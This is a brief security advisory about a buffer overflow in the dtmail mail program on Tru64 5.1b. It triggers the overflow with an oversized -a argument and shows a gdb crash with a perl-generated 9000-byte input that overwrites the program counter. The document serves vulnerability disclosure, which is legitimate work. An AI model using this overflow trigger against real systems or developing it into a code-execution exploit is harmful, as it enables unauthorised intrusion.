  dtmail Buffer Overflow
------------------------------------------------------------------------


SUMMARY

The dtmail program is a desktop mail application. It provides an easy to 
use interface for viewing, filing, composing and sending electronic mail 
folders and mail messages.

dtmail suffers from a buffer overflow vulnerability which could result in 
the execution of arbitrary code.

DETAILS

Description:

This vulnerability is triggered when using -a flag:
  -a file1 ...fileN

This was tested against tru64 version 5.1b using a system (a working 
display is required). The following gdb output demonstrates the 
vulnerability.

gdb) r -a -a `perl -e 'print "A" x 9000'`
Starting program: /cluster/members/member0/tmp/dtmail -a `perl -e 'print 
"A"x 9000'`

Program received signal SIGSEGV, Segmentation fault.
warning: Hit heuristic-fence-post without finding
warning: enclosing function for address 0x4141414141414140

This warning occurs if you are debugging a function without any symbols 
(for example, in a stripped executable).  In that case, you may wish to 
increase the size of the search with the `set heuristic-fence-post' 
command.

Otherwise, you told GDB there was a function where there isn't one, or 
(more likely) you have encountered a bug in GDB.
